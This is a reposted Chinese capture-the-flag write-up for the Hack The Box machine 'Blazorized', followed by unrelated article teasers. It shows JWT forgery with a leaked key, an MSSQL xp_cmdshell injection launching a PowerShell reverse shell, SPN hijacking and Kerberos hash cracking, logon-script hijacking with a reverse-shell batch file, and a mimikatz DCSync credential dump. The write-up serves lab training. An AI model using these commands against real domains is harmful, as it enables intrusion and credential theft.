Hack The Box-Blazorized

news2024/10/6 4:10:14

总体思路

Blazor JWT->SPN劫持->登录脚本劫持->DCSync

信息收集&端口利用

nmap -sSVC blazorized.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 02:37 EDT
Nmap scan report for blazorized.htb (10.10.11.22)
Host is up (0.30s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-01 06:38:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-01T06:39:13+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.81.176\BLAZORIZED: 
|     Instance name: BLAZORIZED
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
| ms-sql-ntlm-info: 
|   10.129.81.176\BLAZORIZED: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-01T00:37:32
|_Not valid after:  2054-07-01T00:37:32
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-07-01T06:39:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds

看到445端口开放,先看是否存在匿名访问

在这里插入图片描述

不存在匿名访问,那么查看主页信息

在这里插入图片描述

发现该网站是以blazor框架为基础搭建的

点击check for updates模块,有一个按钮,但是点击后提示运行失败

在这里插入图片描述

继续尝试目录扫描和子域名收集

dirsearch -u http://blazorized.htb

在这里插入图片描述

ffuf -c -u 'http://blazorized.htb' -H 'host: FUZZ.blazorized.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all

在这里插入图片描述

发现一个admin子域名,将其加入hosts文件后访问,还有一个api接口,稍微留意一下

进入后发现需要凭证才能够登录

在这里插入图片描述

Blazor JWT(暂时不清楚原理)

其他也没有什么可以利用的地方了,那么就来研究blazor框架,在github上查阅相关内容后,发现存在几个特定功能的端点

/_framework/blazor.webassembly.js
/_framework/wasm/

该_framework目录是Blazor应用程序用来存储Blazor WebAssembly运行时所需的框架文件的特殊目录,这里查看js源码

在这里插入图片描述

发现有一个_framework目录,正好对应上之前提到过的特殊目录,查看其代码

在这里插入图片描述

看上去已经被混淆了,对其进行反混淆

在这里插入图片描述

将代码提取出来,搜索_framework,能够发现一个隐藏的接口

在这里插入图片描述

访问blazorized.htb/_framework/blazor.boot.json后能看到更多的配置文件

在这里插入图片描述

除去默认的Microsoft dll文件外,还有新增的几个blazor dll文件

"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go="
#允许我们在本地存储中存储和检索数据
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI="
#Blazor应用程序专用的自定义程序集。包含与“DigitalGarden”特性或功能相关的代码
"Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY="
#包含Blazor应用程序不同部分使用的共享代码和资源。包括通用模型、服务或实用功能
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ="
#包含整个Blazor应用程序使用的辅助函数或实用程序的自定义程序集

然后分析代码并生成一段安全密钥

private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";  
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "http://api.blazorized.htb";
private static readonly string apiAudience = "http://api.blazorized.htb";
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

利用上边的信息,以超级管理员身份生成一个JWT

在这里插入图片描述

将这一段JWT的内容通过web console添加到本地存储以访问admin界面

let token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIwMDAwMDAwfQ.J-Q8X2azv90n1dIxwupMj53IvCGxbcBcVk8Lzl5EqPD-JKjXtyHOJHCZujLOGrHQtI6NJyoaWAogwXDkmWuMuQ';
localStorage.setItem('jwt', token);

在这里插入图片描述

再次刷新界面即可

在这里插入图片描述

在搜索框界面发现了一些有趣的事情

当正常输入时,会有显示报错信息,而加了某些特殊符号时候,则没有了输出,可能存在某些SQL注入

在这里插入图片描述

在这里插入图片描述

由于之前就扫描出数据库类型为MSSQL,这里直接尝试使用xp_cmdshell执行反弹shell命令

'; EXEC master.dbo.xp_cmdshell 'powershell -e PowerShell#3(Base64)' --+#

在这里插入图片描述

成功拿到nu_1055用户,为了更方便进行后续操作,先上传一个payload,转为msf shell

在这里插入图片描述

经过信息收集无果后,上传一个sharphound查看域内信息

在这里插入图片描述

SPN劫持

在拓扑图中,能看到RSA_4810用户对NU_1055用户具有WriteSPN权限,可以利用Ghost SPN劫持对其进行攻击

上传PowerView.ps1

接着运行以下代码

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='b3rry/ghost'}
Get-DomainSPNTicket -SPN b3rry/ghost

它以不存在的SPN作为虚拟名称请求服务票证b3rry/ghost

在这里插入图片描述

将这一段密文放进hashcat进行解密

在这里插入图片描述

获取到解密之后的字符串:(Ni7856Do985*************

经过尝试,可以使用 RSA_4810/(Ni7856Do985************ 登录到主机

在这里插入图片描述

继续分析刚才的文件

在这里插入图片描述

可以看到RSA_4810用户属于REMOTE MANAGEMENT USERS和REMOTE_SUPPORT_ADMINISTRATORS组

这里使用powerview获取更多信息

Get-NetUser

运行了上述命令后,发现一个可疑账户SSA_6010

登录脚本劫持

在这里插入图片描述

登录次数达到了4684次,并且我们能够获取到该用户正在运行的登录脚本路径为:\dc1\NETLOGON\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030

此路径表示域控制器 (dc1) 上的NETLOGON 共享中存储了登录脚本,它通常用于存储用户登录域内计算机时需要执行的登录脚本和其他策略

查看当前用户是否具有对上述结果中提到的文件具有某些特定权限

Get-Acl "C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat" | Format-List -Property *

在这里插入图片描述

很好,RSA_4810用户具有对该脚本的读取、写入和运行权限

在这里插入图片描述

并且该脚本也提示了需要我们对SSA_6010的登录脚本进行重新编写

将脚本路径更改为A32FF3AEAA23\revshell.bat

Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\revshell.bat"

由于此处是多域环境,因此必须使用相对路径保证所有域控服务器都能够寻找到该脚本,意味着只能指定从NETLOGON共享路径后开始的路径作为相对路径

此处设置该文件夹的原因是只有该文件夹RSA_4810具有写入读取修改权限

在这里插入图片描述

做好上述准备后,建立一个revshell.ps1用于存放反弹shell的代码

#revshell.ps1
powershell -e PowerShell#3(Base64)

通过PowerShell创建批处理文件时,默认编码与登录过程中脚本的执行方式不兼容,需要将编码指定为ASCII可确保正确解释批处理文件,这里再编写一段脚本

#getshell.ps1
$batContent = Get-Content -Path "\\10.10.14.9\share\revshell.ps1"
$batFilePath = "C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\revshell.bat"
$batContent | Out-File -FilePath $batFilePath -Encoding ASCII

这一段代码主要将本地的ps1文件通过指定编码后,导入到revshell.bat中

本地开启smb和nc监听,上传后等待脚本运行

在这里插入图片描述

在这里插入图片描述

拿到SSA_6010用户后,使用msf shell再进行一次sharphound扫描

DCSync

在这里插入图片描述

打开分析后的文件,发现SSA_6010用户属于SUPER_SUPPORT_ADMINISTRATORS组

在这里插入图片描述

发现SUPER_SUPPORT_ADMINISTRATORS组对机器具有DCSync权限

在这里插入图片描述

直接使用mimikatz中的模块获取所有信息

lsadump::dcsync /domain:blazorized.htb /user:Administrator

在这里插入图片描述

使用administrator的ntlm hash登录

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1886207.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【网络安全】修改Host文件实现域名解析

场景 开发一个网站或者服务,需要在本地测试时,可以将线上的域名指向本地开发环境的IP地址。从而模拟真实环境中的域名访问,方便调试和开发。 步骤 1、以管理员身份打开命令提示符 2、编辑hosts文件: 输入以下命令打开hosts文…

云卓SKYDROID-H12PRO——只有你想不到的,没有我们做不到的

H12PRO采用高通八核处理器,搭载安卓嵌入式系统,采用先进的OFDM技术,和超级协议栈。让图像更加清晰,延迟更低,距离更远,抗干扰性更强,并支持1080P视频传输。支持SIM、数字摄像头、串口、s.bus、网…

SQL注入实战

1、orderBy报错注入 某大学 www.target.com?orderBy1 注入为orderBy注入,将orderby更改为id测试时并不能造成报错回显故不能当注入点 正常状态下 经过测试可知共14列,orderBy15时报错,由于列名可控?orderby$id 这里使用XPath报错注入&a…

放大器的输入电容Cin对放大电路的影响

1、OPA859构成的放大电路的设计 图中OPA859的增益G设定为1.16 ,OPA859的增益带宽积GBP 900M , 放大器的带宽BW GBP / Acl 900 / 1.16 775.86M。 图:OPA859放大电路 由于需要在放大电路上加带宽的限制,所以在OPA859放大电路上有个低通限…

Java + MySQL 实现存储完整 Json

Java + MySQL 实现存储完整 Json 一、应用场景二、数据库配置三、后端代码配置1、实体类2、Service 实现类3、xml 文件四、测试1、新增接口2、查询接口3、数据表内容一、应用场景 将前端传过来的 Json 完整存储到 MySQL 中,涉及技术栈为 Java、MyBatis、MySQL。 注意:MySQL…

idea xml ctrl+/ 注释格式不对齐

处理前 处理后 解决办法 取消这两个勾选

LabVIEW代码性能优化

优化LabVIEW代码以提高软件性能是确保系统高效运行的关键。通过分析代码结构、数据管理、并行处理、内存使用和硬件资源的有效利用,我们可以从多个角度提升LabVIEW程序的执行速度和稳定性。 代码结构优化 模块化编程 将复杂的程序分解成多个子VI,每个子V…

Linux系统中交叉编译opencv库

目标:将opencv进行交叉编译,使其能在rk3326板子上运行使用。 环境: ubuntu:18.04 opencv:4.5.4 opencv源码从挂网下载:opencv源码下载地址 交叉编译链:gcc-arm-10.3-linux-gun 一.环境准备 1.交叉编译链我…

论文学习——使用基于多项式拟合的预测算法求解动态多目标问题

论文题目:Solving dynamic multi-objective problems using polynomial fitting-based prediction algorithm 使用基于多项式拟合的预测算法求解动态多目标问题(Qingyang Zhang , Xiangyu He,Shengxiang Yang , Yongquan Dong , Hui Song , Shouyong Ji…

shopify后台设置为中文

shopify官网:https://link.juejin.cn/?targethttps%3A%2F%2Fshopify.dev%2F 1、点击右上角头像 2、选择个人资料 3、找到Language设置 开发者 1、创建开发商店 2、 3、点击左侧导航在线商店,点击右上角查看你的商店。在线商店链接为https://[商店名…

【FPGA 学习与实践】<初阶> 项目周计划

第1-2周:基础项目 - 4位加法器和计数器 目标:掌握Verilog基本语法和模块设计。 第1周: 学习Verilog的基本语法和结构(模块、端口、数据类型)。设计并实现一个4位加法器。编写测试平台(Testbench&#xff0…

38、shell之免交互

免交互 交互:我们发出指令控制程序的运行,程序在接收到指令之后按照指令的效果做出对应的反应。 免交互:间接的,通过第三方的方式把指令传送给程序,不用直接的下达指令。 一、Here Document 免交互: 这…

谈谈在不同公司中的SAP职位

今天反客为主,聊一下这个HR的话题,考虑到SAP职位的专业性,感觉还是有必要谈一谈这个话题。最近跟几位HR的小伙伴聊了一下,讨论了下不同公司的SAP职位的招聘要求,感觉还是有那么几个存在的问题: 追求完美的…

goframe框架规范限制(but it should be named with “Res“ suffix like “XxxRes“)

背景: 首页公司最近要启动一个项目,公司主要业务是用java开发的,但是目前这个方向的项目,公司要求部署在主机上,就是普通的一台电脑上,电脑配置不详,还有经常开关机,所以用java面临…

Python实现万花筒效果:创造炫目的动态图案

文章目录 引言准备工作前置条件 代码实现与解析导入必要的库初始化Pygame定义绘制万花筒图案的函数主循环 完整代码 引言 万花筒效果通过反射和旋转图案创造出美丽的对称图案。在这篇博客中,我们将使用Python来实现一个动态的万花筒效果。通过利用Pygame库&#xf…

WebStorm配置路径别名(jsconfig.json)

项目是 ViteVueTs 新建一个 jsconfig.json文件 {"compilerOptions": {"baseUrl": ".","paths": {"/*": ["./src/*"]}},"exclude": ["node_modules", "dist"] }然后在 vite.confi…

LLM-Transformer:经典与前沿方法详解

LLM-Transformer:经典与前沿方法详解 前言 大规模语言模型(LLM)是当前自然语言处理(NLP)领域的核心技术,而Transformer架构作为LLM的基础,极大地推动了这一领域的发展。本文将详细介绍LLM-Tra…

网页计算器的实现

简介 该项目实现了一个功能完备、交互友好的网页计算器应用。只使用了 HTML、CSS 和 JavaScript ,用于检验web前端基础水平。 开发环境:Visual Studio Code开发工具:HTML5、CSS3、JavaScript实现效果 功能设计和模块划分 显示模块&#…

ASP.NETMVC-简单例子-数据库查询+razor使用+项目发布

环境: win10,SQL Server 2008 R2 参考: asp.net mvc框架之EF的使用 - black娃 - 博客园 https://www.cnblogs.com/fjiqiang/p/11131365.html 目录 数据库查询要求思路操作 razor使用项目发布要求实现 数据库查询 要求 从服务器的数据库中查…

独家专访|格行随身WiFi创始人——刘永先 格行随身wifi如何成为行业的领跑品牌?

随着移动互联网的普及和消费者对网络依赖性的增强,随身WiFi市场迎来了前所未有的发展机遇。然而,这一市场的迅速扩张也伴随着一系列问题,其中最为显著的就是市场乱象丛生。近日,有幸邀请到行业领跑品牌格行随身WiFi的刘总&#xf…